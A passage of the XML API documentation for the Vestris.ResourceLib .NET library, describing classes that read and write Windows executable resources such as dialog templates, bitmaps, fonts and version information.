name=\"P:Vestris.ResourceLib.DeviceIndependentBitmap.MaskImageSize\">\n            <summary>\n            Size of the image mask.\n            </summary>\n        </member>\n        <member name=\"P:Vestris.ResourceLib.DeviceIndependentBitmap.XorImageIndex\">\n            <summary>\n            Position of the DIB bitmap bits within a DIB bitmap array.\n            </summary>\n        </member>\n        <member name=\"P:Vestris.ResourceLib.DeviceIndependentBitmap.ColorCount\">\n            <summary>\n            Number of colors in the palette.\n            </summary>\n        </member>\n        <member name=\"M:Vestris.ResourceLib.DeviceIndependentBitmap.GetDIBRowWidth(System.Int32)\">\n            <summary>\n            Returns the width of a row in a DIB Bitmap given the number of bits. DIB Bitmap rows always align on a DWORD boundary.\n            </summary>\n            <param name=\"width\">Number of bits.</param>\n            <returns>Width of a row in bytes.</returns>\n        </member>\n        <member name=\"P:Vestris.ResourceLib.DeviceIndependentBitmap.Mask\">\n            <summary>\n            Bitmap monochrome mask.\n            </summary>\n        </member>\n        <member name=\"P:Vestris.ResourceLib.DeviceIndependentBitmap.Color\">\n            <summary>\n            Bitmap color (XOR) part of the image.\n            </summary>\n        </member>\n        <member name=\"P:Vestris.ResourceLib.DeviceIndependentBitmap.Image\">\n            <summary>\n            Complete image.\n            </summary>\n        </member>\n        <member name=\"T:Vestris.ResourceLib.DialogExTemplate\">\n            <summary>\n            A container for the DIALOGTEMPLATEEX structure.\n            </summary>\n        </member>\n        <member name=\"P:Vestris.ResourceLib.DialogExTemplate.CharacterSet\">\n            <summary>\n            Indicates the character set to use.\n            </summary>\n        </member>\n        <member name=\"P:Vestris.ResourceLib.DialogExTemplate.x\">\n            <summary>\n            X-coordinate, in dialog box units, of the upper-left corner of the dialog box. \n            </summary>\n        </member>\n        <member name=\"P:Vestris.ResourceLib.DialogExTemplate.y\">\n            <summary>\n            Y-coordinate, in dialog box units, of the upper-left corner of the dialog box.\n            </summary>\n        </member>\n        <member name=\"P:Vestris.ResourceLib.DialogExTemplate.cx\">\n            <summary>\n            Width, in dialog box units, of the dialog box.\n            </summary>\n        </member>\n        <member name=\"P:Vestris.ResourceLib.DialogExTemplate.cy\">\n            <summary>\n            Height, in dialog box units, of the dialog box.\n            </summary>\n        </member>\n        <member name=\"P:Vestris.ResourceLib.DialogExTemplate.Style\">\n            <summary>\n            Dialog style.\n            </summary>\n        </member>\n        <member name=\"P:Vestris.ResourceLib.DialogExTemplate.ExtendedStyle\">\n            <summary>\n            Extended dialog style.\n            </summary>\n        </member>\n        <member name=\"P:Vestris.ResourceLib.DialogExTemplate.Weight\">\n            <summary>\n            Weight of the font. \n            </summary>\n        </member>\n        <member name=\"P:Vestris.ResourceLib.DialogExTemplate.Italic\">\n            <summary>\n            Indicates whether the font is italic.\n            </summary>\n        </member>\n        <member name=\"P:Vestris.ResourceLib.DialogExTemplate.ControlCount\">\n            <summary>\n            Number of dialog items.\n            </summary>\n        </member>\n        <member name=\"M:Vestris.ResourceLib.DialogExTemplate.#ctor\">\n            <summary>\n            An extended dialog structure.\n            </summary>\n        </member>\n        <member name=\"M:Vestris.ResourceLib.DialogExTemplate.Read(System.IntPtr)\">\n            <summary>\n            Read the dialog resource.\n            </summary>\n            <param name=\"lpRes\">Pointer to the beginning of the dialog structure.</param>\n        </member>\n        <member name=\"M:Vestris.ResourceLib.DialogExTemplate.Write(System.IO.BinaryWriter)\">\n            <summary>\n            Write dialog control to a binary stream.\n            </summary>\n            <param name=\"w\">Binary stream.</param>\n        </member>\n        <member name=\"M:Vestris.ResourceLib.DialogExTemplate.ToString\">\n            <summary>\n            String representation of the dialog.\n            </summary>\n            <returns>String in the DIALOGEX [dialog] format.</returns>\n        </member>\n        <member name=\"T:Vestris.ResourceLib.DialogExTemplateControl\">\n            <summary>\n            A container for the DIALOGTEMPLATEEX structure.\n            </summary>\n        </member>\n        <member name=\"P:Vestris.ResourceLib.DialogExTemplateControl.x\">\n            <summary>\n            X-coordinate, in dialog box units, of the upper-left corner of the dialog box. \n            </summary>\n        </member>\n        <member name=\"P:Vestris.ResourceLib.DialogExTemplateControl.y\">\n            <summary>\n            Y-coordinate, in dialog box units, of the upper-left corner of the dialog box.\n            </summary>\n        </member>\n        <member name=\"P:Vestris.ResourceLib.DialogExTemplateControl.cx\">\n            <summary>\n            Width, in dialog box units, of the dialog box.\n            </summary>\n        </member>\n        <member name=\"P:Vestris.ResourceLib.DialogExTemplateControl.cy\">\n            <summary>\n            Height, in dialog box units, of the dialog box.\n            </summary>\n        </member>\n        <member name=\"P:Vestris.ResourceLib.DialogExTemplateControl.Style\">\n            <summary>\n            Dialog style.\n            </summary>\n        </member>\n        <member name=\"P:Vestris.ResourceLib.DialogExTemplateControl.ExtendedStyle\">\n            <summary>\n            Extended dialog style.\n            </summary>\n        </member>\n        <member name=\"P:Vestris.ResourceLib.DialogExTemplateControl.Id\">\n            <summary>\n            Control identifier.\n            </summary>\n        </member>\n        <member name=\"M:Vestris.ResourceLib.DialogExTemplateControl.#ctor\">\n            <summary>\n            An extended dialog control template structure.\n            </summary>\n        </member>\n        <member name=\"M:Vestris.ResourceLib.DialogExTemplateControl.Read(System.IntPtr)\">\n            <summary>\n            Read the dialog control.\n            </summary>\n            <param name=\"lpRes\">Pointer to the beginning of the dialog structure.</param>\n        </member>\n        <member name=\"M:Vestris.ResourceLib.DialogExTemplateControl.Write(System.IO.BinaryWriter)\">\n            <summary>\n            Write the dialog control to a binary stream.\n            </summary>\n            <param name=\"w\">Binary stream.</param>\n        </member>\n        <member name=\"M:Vestris.ResourceLib.DialogExTemplateControl.ToString\">\n            <summary>\n            Return a string representation of the dialog control.\n            </summary>\n            <returns>A single line in the \"CLASS name id, dimensions and styles' format.</returns>\n        </member>\n        <member name=\"T:Vestris.ResourceLib.DialogResource\">\n            <summary>\n            A dialog template resource.\n            </summary>\n        </member>\n        <member name=\"P:Vestris.ResourceLib.DialogResource.Template\">\n            <summary>\n            A dialog template structure that describes the dialog.\n            </summary>\n        </member>\n        <member name=\"M:Vestris.ResourceLib.DialogResource.#ctor(System.IntPtr,System.IntPtr,Vestris.ResourceLib.ResourceId,Vestris.ResourceLib.ResourceId,System.UInt16,System.Int32)\">\n            <summary>\n            A structured dialog resource embedded in an executable module.\n            </summary>\n            <param name=\"hModule\">Module handle.</param>\n            <param name=\"hResource\">Resource handle.</param>\n            <param name=\"type\">Type of resource.</param>\n            <param name=\"name\">Resource name.</param>\n            <param name=\"language\">Language id.</param>\n            <param name=\"size\">Resource size.</param>\n        </member>\n        <member name=\"M:Vestris.ResourceLib.DialogResource.#ctor\">\n            <summary> \n            A structured dialog resource embedded in an executable module.\n            </summary>\n        </member>\n        <member name=\"M:Vestris.ResourceLib.DialogResource.ToString\">\n            <summary>\n            Dialog resource in standard resource editor text format.\n            </summary>\n            <returns>Multi-line string.</returns>\n        </member>\n        <member name=\"T:Vestris.ResourceLib.DialogTemplate\">\n            <summary>\n            A container for the DIALOGTEMPLATE structure.\n            </summary>\n        </member>\n        <member name=\"P:Vestris.ResourceLib.DialogTemplate.x\">\n            <summary>\n            X-coordinate, in dialog box units, of the upper-left corner of the dialog box. \n            </summary>\n        </member>\n        <member name=\"P:Vestris.ResourceLib.DialogTemplate.y\">\n            <summary>\n            Y-coordinate, in dialog box units, of the upper-left corner of the dialog box.\n            </summary>\n        </member>\n        <member name=\"P:Vestris.ResourceLib.DialogTemplate.cx\">\n            <summary>\n            Width, in dialog box units, of the dialog box.\n            </summary>\n        </member>\n        <member name=\"P:Vestris.ResourceLib.DialogTemplate.cy\">\n            <summary>\n            Height, in dialog box units, of the dialog box.\n            </summary>\n        </member>\n        <member name=\"P:Vestris.ResourceLib.DialogTemplate.Style\">\n            <summary>\n            Dialog style.\n            </summary>\n        </member>\n        <member name=\"P:Vestris.ResourceLib.DialogTemplate.ExtendedStyle\">\n            <summary>\n            Extended dialog style.\n            </summary>\n        </member>\n        <member name=\"P:Vestris.ResourceLib.DialogTemplate.ControlCount\">\n            <summary>\n            Number of dialog items.\n            </summary>\n        </member>\n        <member name=\"M:Vestris.ResourceLib.DialogTemplate.#ctor\">\n            <summary>\n            A standard dialog structure.\n            </summary>\n        </member>\n        <member name=\"M:Vestris.ResourceLib.DialogTemplate.Read(System.IntPtr)\">\n            <summary>\n            Read the dialog resource.\n            </summary>\n            <param name=\"lpRes\">Pointer to the beginning of the dialog structure.</param>\n        </member>\n        <member name=\"M:Vestris.ResourceLib.DialogTemplate.Write(System.IO.BinaryWriter)\">\n            <summary>\n            Write the dialog template data to a binary stream.\n            </summary>\n            <param name=\"w\">Binary stream.</param>\n        </member>\n        <member name=\"M:Vestris.ResourceLib.DialogTemplate.ToString\">\n            <summary>\n            Returns a string representation of the dialog.\n            </summary>\n            <returns>String in the DIALOG ... format.</returns>\n        </member>\n        <member name=\"T:Vestris.ResourceLib.DialogTemplateBase\">\n            <summary>\n            A dialog template.\n            </summary>\n        </member>\n        <member name=\"P:Vestris.ResourceLib.DialogTemplateBase.x\">\n            <summary>\n            X-coordinate, in dialog box units, of the upper-left corner of the dialog box. \n            </summary>\n        </member>\n        <member name=\"P:Vestris.ResourceLib.DialogTemplateBase.y\">\n            <summary>\n            Y-coordinate, in dialog box units, of the upper-left corner of the dialog box.\n            </summary>\n        </member>\n        <member name=\"P:Vestris.ResourceLib.DialogTemplateBase.cx\">\n            <summary>\n            Width, in dialog box units, of the dialog box.\n            </summary>\n        </member>\n        <member name=\"P:Vestris.ResourceLib.DialogTemplateBase.cy\">\n            <summary>\n            Height, in dialog box units, of the dialog box.\n            </summary>\n        </member>\n        <member name=\"P:Vestris.ResourceLib.DialogTemplateBase.Style\">\n            <summary>\n            Style of the dialog box.\n            </summary>\n        </member>\n        <member name=\"P:Vestris.ResourceLib.DialogTemplateBase.ExtendedStyle\">\n            <summary>\n            Optional extended style of the dialog box.\n            </summary>\n        </member>\n        <member name=\"P:Vestris.ResourceLib.DialogTemplateBase.ControlCount\">\n            <summary>\n            Number of items in this structure.\n            </summary>\n        </member>\n        <member name=\"P:Vestris.ResourceLib.DialogTemplateBase.TypeFace\">\n            <summary>\n            The name of the typeface for the font.\n            </summary>\n        </member>\n        <member name=\"P:Vestris.ResourceLib.DialogTemplateBase.PointSize\">\n            <summary>\n            Point size of the font to use for the text in the dialog box and its controls.\n            </summary>\n        </member>\n        <member name=\"P:Vestris.ResourceLib.DialogTemplateBase.Caption\">\n            <summary>\n            Dialog caption.\n            </summary>\n        </member>\n        <member name=\"P:Vestris.ResourceLib.DialogTemplateBase.MenuId\">\n            <summary>\n            Menu resource Id.\n            </summary>\n        </member>\n        <member name=\"P:Vestris.ResourceLib.DialogTemplateBase.WindowClassId\">\n            <summary>\n            Window class Id.\n            </summary>\n        </member>\n        <member name=\"P:Vestris.ResourceLib.DialogTemplateBase.Controls\">\n            <summary>\n            Controls within this dialog.\n            </summary>\n        </member>\n        <member name=\"M:Vestris.ResourceLib.DialogTemplateBase.ToString\">\n            <summary>\n            Dialog template representation in a standard text format.\n            </summary>\n            <returns>Multiline string.</returns>\n        </member>\n        <member name=\"M:Vestris.ResourceLib.DialogTemplateBase.ToControlString\">\n            <summary>\n            String represetnation of a control.\n            </summary>\n            <returns></returns>\n        </member>\n        <member name=\"M:Vestris.ResourceLib.DialogTemplateBase.Write(System.IO.BinaryWriter)\">\n            <summary>\n            Write the resource to a binary stream.\n            </summary>\n            <param name=\"w\">Binary stream.</param>\n        </member>\n        <member name=\"T:Vestris.ResourceLib.DialogTemplateControl\">\n            <summary>\n            A container for a control within a dialog template.\n            </summary>\n        </member>\n        <member name=\"P:Vestris.ResourceLib.DialogTemplateControl.x\">\n            <summary>\n            X-coordinate, in dialog box units, of the upper-left corner of the dialog box. \n            </summary>\n        </member>\n        <member name=\"P:Vestris.ResourceLib.DialogTemplateControl.y\">\n            <summary>\n            Y-coordinate, in dialog box units, of the upper-left corner of the dialog box.\n            </summary>\n        </member>\n        <member name=\"P:Vestris.ResourceLib.DialogTemplateControl.cx\">\n            <summary>\n            Width, in dialog box units, of the dialog box.\n            </summary>\n        </member>\n        <member name=\"P:Vestris.ResourceLib.DialogTemplateControl.cy\">\n            <summary>\n            Height, in dialog box units, of the dialog box.\n            </summary>\n        </member>\n        <member name=\"P:Vestris.ResourceLib.DialogTemplateControl.Style\">\n            <summary>\n            Dialog style.\n            </summary>\n        </member>\n        <member name=\"P:Vestris.ResourceLib.DialogTemplateControl.ExtendedStyle\">\n            <summary>\n            Extended dialog style.\n            </summary>\n        </member>\n        <member name=\"P:Vestris.ResourceLib.DialogTemplateControl.Id\">\n            <summary>\n            Control identifier.\n            </summary>\n        </member>\n        <member name=\"M:Vestris.ResourceLib.DialogTemplateControl.#ctor\">\n            <summary>\n            A standard dialog control structure.\n            </summary>\n        </member>\n        <member name=\"M:Vestris.ResourceLib.DialogTemplateControl.Write(System.IO.BinaryWriter)\">\n            <summary>\n            Write the dialog control to a binary stream.\n            </summary>\n            <param name=\"w\">Binary stream.</param>\n        </member>\n        <member name=\"M:Vestris.ResourceLib.DialogTemplateControl.ToString\">\n            <summary>\n            String represetnation of a control.\n            </summary>\n            <returns></returns>\n        </member>\n        <member name=\"T:Vestris.ResourceLib.DialogTemplateControlBase\">\n            <summary>\n            A dialog template.\n            </summary>\n        </member>\n        <member name=\"P:Vestris.ResourceLib.DialogTemplateControlBase.x\">\n            <summary>\n            X-coordinate, in dialog box units, of the upper-left corner of the dialog box. \n            </summary>\n        </member>\n        <member name=\"P:Vestris.ResourceLib.DialogTemplateControlBase.y\">\n            <summary>\n            Y-coordinate, in dialog box units, of the upper-left corner of the dialog box.\n            </summary>\n        </member>\n        <member name=\"P:Vestris.ResourceLib.DialogTemplateControlBase.cx\">\n            <summary>\n            Width, in dialog box units, of the dialog box.\n            </summary>\n        </member>\n        <member name=\"P:Vestris.ResourceLib.DialogTemplateControlBase.cy\">\n            <summary>\n            Height, in dialog box units, of the dialog box.\n            </summary>\n        </member>\n        <member name=\"P:Vestris.ResourceLib.DialogTemplateControlBase.Style\">\n            <summary>\n            Style of the dialog box.\n            </summary>\n        </member>\n        <member name=\"P:Vestris.ResourceLib.DialogTemplateControlBase.ExtendedStyle\">\n            <summary>\n            Optional extended style of the dialog box.\n            </summary>\n        </member>\n        <member name=\"P:Vestris.ResourceLib.DialogTemplateControlBase.CaptionId\">\n            <summary>\n            Dialog caption.\n            </summary>\n        </member>\n        <member name=\"P:Vestris.ResourceLib.DialogTemplateControlBase.ControlClassId\">\n            <summary>\n            Window class Id.\n            </summary>\n        </member>\n        <member name=\"P:Vestris.ResourceLib.DialogTemplateControlBase.ControlClass\">\n            <summary>\n            Window class of the control.\n            </summary>\n        </member>\n        <member name=\"P:Vestris.ResourceLib.DialogTemplateControlBase.CreationData\">\n            <summary>\n            Additional creation data.\n            </summary>\n        </member>\n        <member name=\"M:Vestris.ResourceLib.DialogTemplateControlBase.Write(System.IO.BinaryWriter)\">\n            <summary>\n            Write the dialog control to a binary stream.\n            </summary>\n            <param name=\"w\">Binary stream.</param>\n        </member>\n        <member name=\"T:Vestris.ResourceLib.DialogTemplateUtil\">\n            <summary>\n            Dialog template utility functions.\n            </summary>\n        </member>\n        <member name=\"M:Vestris.ResourceLib.DialogTemplateUtil.ReadResourceId(System.IntPtr,Vestris.ResourceLib.ResourceId@)\">\n            <summary>\n            Read a dialog resource id.       \n            </summary>\n            <param name=\"lpRes\">Address in memory.</param>\n            <param name=\"rc\">Resource read.</param>\n            <returns></returns>\n        </member>\n        <member name=\"M:Vestris.ResourceLib.DialogTemplateUtil.StyleToString``2(System.UInt32)\">\n            <summary>\n            String representation of the dialog or control style of two types.\n            </summary>\n            <param name=\"style\">Dialog or control style.</param>\n            <returns>String in the \"s1 | s2 | ... | s3\" format.</returns>\n        </member>\n        <member name=\"M:Vestris.ResourceLib.DialogTemplateUtil.StyleToString``2(System.UInt32,System.UInt32)\">\n            <summary>\n            String representation of the dialog or control styles of two types.\n            </summary>\n            <param name=\"style\">Dialog or control style.</param>\n            <param name=\"exstyle\">Dialog or control extended style.</param>\n            <returns>String in the \"s1 | s2 | ... | s3\" format.</returns>\n        </member>\n        <member name=\"M:Vestris.ResourceLib.DialogTemplateUtil.StyleToString``1(System.UInt32)\">\n            <summary>\n            String representation of the dialog or control style of one type.\n            </summary>\n            <param name=\"style\">Dialog or control style.</param>\n            <returns>String in the \"s1 | s2 | ... | s3\" format.</returns>\n        </member>\n        <member name=\"T:Vestris.ResourceLib.DirectoryResource`1\">\n            <summary>\n            This structure depicts the organization of data in a hardware-independent icon resource.\n            </summary>\n        </member>\n        <member name=\"P:Vestris.ResourceLib.DirectoryResource`1.ResourceType\">\n            <summary>\n            Returns the type of the resource in this group.\n            </summary>\n        </member>\n        <member name=\"P:Vestris.ResourceLib.DirectoryResource`1.Icons\">\n            <summary>\n            Icons contained in this hardware-independent icon resource.\n            </summary>\n        </member>\n        <member name=\"M:Vestris.ResourceLib.DirectoryResource`1.#ctor(System.IntPtr,System.IntPtr,Vestris.ResourceLib.ResourceId,Vestris.ResourceLib.ResourceId,System.UInt16,System.Int32)\">\n            <summary>\n            A hardware-independent icon resource.\n            </summary>\n            <param name=\"hModule\">Module handle.</param>\n            <param name=\"hResource\">Resource ID.</param>\n            <param name=\"type\">Resource type.</param>\n            <param name=\"name\">Resource name.</param>\n            <param name=\"language\">Language ID.</param>\n            <param name=\"size\">Resource size.</param>\n        </member>\n        <member name=\"M:Vestris.ResourceLib.DirectoryResource`1.#ctor(Vestris.ResourceLib.Kernel32.ResourceTypes)\">\n            <summary>\n            A new hardware-independent icon resource.\n            </summary>\n        </member>\n        <member name=\"M:Vestris.ResourceLib.DirectoryResource`1.SaveTo(System.String)\">\n            <summary>\n            Save a hardware-independent icon resource to an executable file.\n            </summary>\n            <param name=\"filename\">Name of an executable file (.exe or .dll).</param>\n        </member>\n        <member name=\"M:Vestris.ResourceLib.DirectoryResource`1.Read(System.IntPtr,System.IntPtr)\">\n            <summary>\n            Read a hardware-independent icon resource from a loaded module.\n            </summary>\n            <param name=\"hModule\">Loaded executable module.</param>\n            <param name=\"lpRes\">Pointer to the beginning of a hardware-independent icon resource.</param>\n            <returns>Pointer to the end of the hardware-independent icon resource.</returns>\n        </member>\n        <member name=\"M:Vestris.ResourceLib.DirectoryResource`1.Write(System.IO.BinaryWriter)\">\n            <summary>\n            Write a hardware-independent icon resource to a binary stream.\n            </summary>\n            <param name=\"w\">Binary stream.</param>\n        </member>\n        <member name=\"T:Vestris.ResourceLib.FixedFileInfo\">\n            <summary>\n            Fixed file information.\n            </summary>\n        </member>\n        <member name=\"M:Vestris.ResourceLib.FixedFileInfo.#ctor\">\n            <summary>\n            Default Windows fixed file information.\n            </summary>\n        </member>\n        <member name=\"P:Vestris.ResourceLib.FixedFileInfo.Value\">\n            <summary>\n            Fixed file info structure.\n            </summary>\n        </member>\n        <member name=\"M:Vestris.ResourceLib.FixedFileInfo.Read(System.IntPtr)\">\n            <summary>\n            Read the fixed file information structure.\n            </summary>\n            <param name=\"lpRes\">Address in memory.</param>\n        </member>\n        <member name=\"P:Vestris.ResourceLib.FixedFileInfo.FileVersion\">\n            <summary>\n            String representation of the file version.\n            </summary>\n        </member>\n        <member name=\"P:Vestris.ResourceLib.FixedFileInfo.ProductVersion\">\n            <summary>\n            String representation of the protect version.\n            </summary>\n        </member>\n        <member name=\"P:Vestris.ResourceLib.FixedFileInfo.FileFlags\">\n            <summary>\n            Gets or sets a bitmask that specifies the Boolean attributes of the file.\n            </summary>\n        </member>\n        <member name=\"M:Vestris.ResourceLib.FixedFileInfo.Write(System.IO.BinaryWriter)\">\n            <summary>\n            Write fixed file information to a binary stream.\n            </summary>\n            <param name=\"w\">Binary stream.</param>\n        </member>\n        <member name=\"P:Vestris.ResourceLib.FixedFileInfo.Size\">\n            <summary>\n            Size of the VS_FIXEDFILEINFO structure.\n            </summary>\n        </member>\n        <member name=\"M:Vestris.ResourceLib.FixedFileInfo.ToString\">\n            <summary>\n            String representation of the fixed file info.\n            </summary>\n            <returns>String representation of the fixed file info.</returns>\n        </member>\n        <member name=\"T:Vestris.ResourceLib.FontDirectoryEntry\">\n            <summary>\n            A font directory entry.\n            </summary>\n        </member>\n        <member name=\"P:Vestris.ResourceLib.FontDirectoryEntry.FontOrdinal\">\n            <summary>\n            Font ordinal.\n            </summary>\n        </member>\n        <member name=\"P:Vestris.ResourceLib.FontDirectoryEntry.FaceName\">\n            <summary>\n            Typeface name of the font.\n            </summary>\n        </member>\n        <member name=\"P:Vestris.ResourceLib.FontDirectoryEntry.DeviceName\">\n            <summary>\n            Specifies the name of the device if this font file is designated for a specific device.\n            </summary>\n        </member>\n        <member name=\"P:Vestris.ResourceLib.FontDirectoryEntry.Font\">\n            <summary>\n            Font information.\n            </summary>\n        </member>\n        <member name=\"M:Vestris.ResourceLib.FontDirectoryEntry.#ctor\">\n            <summary>\n            A new font directory entry.\n            </summary>\n        </member>\n        <member name=\"M:Vestris.ResourceLib.FontDirectoryEntry.Read(System.IntPtr)\">\n            <summary>\n            Read the font directory entry.\n            </summary>\n            <param name=\"lpRes\">Pointer in memory.</param>\n            <returns>Pointer to the end of the font directory entry.</returns>\n        </member>\n        <member name=\"M:Vestris.ResourceLib.FontDirectoryEntry.Write(System.IO.BinaryWriter)\">\n            <summary>\n            Write the font directory entry to a binary stream.\n            </summary>\n            <param name=\"w\">Binary stream.</param>\n        </member>\n        <member name=\"T:Vestris.ResourceLib.FontDirectoryResource\">\n            <summary>\n            A font directory, RT_FONTDIR resource.\n            </summary>\n        </member>\n        <member name=\"P:Vestris.ResourceLib.FontDirectoryResource.Fonts\">\n            <summary>\n            Number of fonts in this directory.\n            </summary>\n        </member>\n        <member name=\"M:Vestris.ResourceLib.FontDirectoryResource.#ctor\">\n            <summary>\n            A new font resource.\n            </summary>\n        </member>\n        <member name=\"M:Vestris.ResourceLib.FontDirectoryResource.#ctor(System.IntPtr,System.IntPtr,Vestris.ResourceLib.ResourceId,Vestris.ResourceLib.ResourceId,System.UInt16,System.Int32)\">\n            <summary>\n            An existing font resource.\n            </summary>\n            <param name=\"hModule\">Module handle.</param>\n            <param name=\"hResource\">Resource ID.</param>\n            <param name=\"type\">Resource type.</param>\n            <param name=\"name\">Resource name.</param>\n            <param name=\"language\">Language ID.</param>\n            <param name=\"size\">Resource size.</param>\n        </member>\n        <member name=\"M:Vestris.ResourceLib.FontDirectoryResource.Read(System.IntPtr,System.IntPtr)\">\n            <summary>\n            Read the font resource.\n            </summary>\n            <param name=\"hModule\">Handle to a module.</param>\n            <param name=\"lpRes\">Pointer to the beginning of the font structure.</param>\n            <returns>Address of the end of the font structure.</returns>\n        </member>\n        <member name=\"M:Vestris.ResourceLib.FontDirectoryResource.Write(System.IO.BinaryWriter)\">\n            <summary>\n            Write the font directory to a binary stream.\n            </summary>\n            <param name=\"w\">Binary stream.</param>\n        </member>\n        <member name=\"T:Vestris.ResourceLib.FontResource\">\n            <summary>\n            A font, RT_FONT resource.\n            </summary>\n        </member>\n        <member name=\"M:Vestris.ResourceLib.FontResource.#ctor\">\n            <summary>\n            A new font resource.\n            </summary>\n        </member>\n        <member name=\"M:Vestris.ResourceLib.FontResource.#ctor(System.IntPtr,System.IntPtr,Vestris.ResourceLib.ResourceId,Vestris.ResourceLib.ResourceId,System.UInt16,System.Int32)\">\n            <summary>\n            An existing font resource.\n            </summary>\n            <param name=\"hModule\">Module handle.</param>\n            <param name=\"hResource\">Resource ID.</param>\n            <param name=\"type\">Resource type.</param>\n            <param name=\"name\">Resource name.</param>\n            <param name=\"language\">Language ID.</param>\n            <param name=\"size\">Resource size.</param>\n        </member>\n        <member name=\"M:Vestris.ResourceLib.FontResource.Read(System.IntPtr,System.IntPtr)\">\n            <summary>\n            Read the font resource.\n            </summary>\n            <param name=\"hModule\">Handle to a module.</param>\n            <param name=\"lpRes\">Pointer to the beginning of the font structure.</param>\n            <returns>Address of the end of the font structure.</returns>\n        </member>\n        <member name=\"M:Vestris.ResourceLib.FontResource.Write(System.IO.BinaryWriter)\">\n            <summary>\n            Write the font resource to a binary writer.\n            </summary>\n            <param name=\"w\">Binary writer.</param>\n        </member>\n        <member name=\"T:Vestris.ResourceLib.Gdi32\">\n            <summary>\n            Gdi32.dll interop functions.\n            </summary>\n        </member>\n        <member name=\"T:Vestris.ResourceLib.Gdi32.BitmapCompression\">\n            <summary>\n            Bitmap compression options.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.Gdi32.BitmapCompression.BI_RGB\">\n            <summary>\n            An uncompressed format. \n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.Gdi32.BitmapCompression.BI_RLE8\">\n            <summary>\n            A run-length encoded (RLE) format for bitmaps with 8 bpp. The compression format is a 2-byte format consisting of a count byte followed by a byte containing a color index. For more information, see Bitmap Compression.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.Gdi32.BitmapCompression.BI_RLE4\">\n            <summary>\n            An RLE format for bitmaps with 4 bpp. The compression format is a 2-byte format consisting of a count byte followed by two word-length color indexes. For more information, see Bitmap Compression.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.Gdi32.BitmapCompression.BI_BITFIELDS\">\n            <summary>\n            Specifies that the bitmap is not compressed and that the color table consists of three DWORD color masks that specify the red, green, and blue components, respectively, of each pixel. This is valid when used with 16- and 32-bpp bitmaps.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.Gdi32.BitmapCompression.BI_JPEG\">\n            <summary>\n            Windows 98/Me, Windows 2000/XP: Indicates that the image is a JPEG image.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.Gdi32.BitmapCompression.BI_PNG\">\n            <summary>\n            Windows 98/Me, Windows 2000/XP: Indicates that the image is a PNG image.\n            </summary>\n        </member>\n        <member name=\"T:Vestris.ResourceLib.Gdi32.BITMAPINFOHEADER\">\n            <summary>\n            A bitmap info header.\n            See http://msdn.microsoft.com/en-us/library/ms532290.aspx for more information.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.Gdi32.BITMAPINFOHEADER.biSize\">\n            <summary>\n            Bitmap information size.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.Gdi32.BITMAPINFOHEADER.biWidth\">\n            <summary>\n            Bitmap width.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.Gdi32.BITMAPINFOHEADER.biHeight\">\n            <summary>\n            Bitmap height.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.Gdi32.BITMAPINFOHEADER.biPlanes\">\n            <summary>\n            Number of logical planes.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.Gdi32.BITMAPINFOHEADER.biBitCount\">\n            <summary>\n            Bitmap bitrate.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.Gdi32.BITMAPINFOHEADER.biCompression\">\n            <summary>\n            Bitmap compression.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.Gdi32.BITMAPINFOHEADER.biSizeImage\">\n            <summary>\n            Image size.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.Gdi32.BITMAPINFOHEADER.biXPelsPerMeter\">\n            <summary>\n            Horizontal pixel resolution.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.Gdi32.BITMAPINFOHEADER.biYPelsPerMeter\">\n            <summary>\n            Vertical pixel resolution.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.Gdi32.BITMAPINFOHEADER.biClrUsed\">\n            <summary>\n            \n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.Gdi32.BITMAPINFOHEADER.biClrImportant\">\n            <summary>\n            \n            </summary>\n        </member>\n        <member name=\"P:Vestris.ResourceLib.Gdi32.BITMAPINFOHEADER.BitmapCompression\">\n            <summary>\n            Returns the current bitmap compression.\n            </summary>\n        </member>\n        <member name=\"P:Vestris.ResourceLib.Gdi32.BITMAPINFOHEADER.PixelFormat\">\n            <summary>\n            Bitmap pixel format.\n            </summary>\n        </member>\n        <member name=\"P:Vestris.ResourceLib.Gdi32.BITMAPINFOHEADER.PixelFormatString\">\n            <summary>\n            Bitmap pixel format English standard string.\n            </summary>\n        </member>\n        <member name=\"T:Vestris.ResourceLib.Gdi32.BITMAPINFO\">\n            <summary>\n            Defines the dimensions and color information of a Windows-based device-independent bitmap (DIB). \n            http://msdn.microsoft.com/en-us/library/dd183375(VS.85).aspx.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.Gdi32.BITMAPINFO.bmiHeader\">\n            <summary>\n            Specifies a bitmap information header structure that contains information about the dimensions of color format.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.Gdi32.BITMAPINFO.bmiColors\">\n            <summary>\n            An array of RGBQUAD. The elements of the array make up the color table.\n            </summary>\n        </member>\n        <member name=\"T:Vestris.ResourceLib.Gdi32.RGBQUAD\">\n            <summary>\n            Store colors in a paletised icon (2, 4 or 8 bit).\n            http://msdn.microsoft.com/en-us/library/ms997538.aspx\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.Gdi32.RGBQUAD.rgbBlue\">\n            <summary>\n            Blue.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.Gdi32.RGBQUAD.rgbGreen\">\n            <summary>\n            Green.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.Gdi32.RGBQUAD.rgbRed\">\n            <summary>\n            Red.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.Gdi32.RGBQUAD.rgbReserved\">\n            <summary>\n            Reserved.\n            </summary>\n        </member>\n        <member 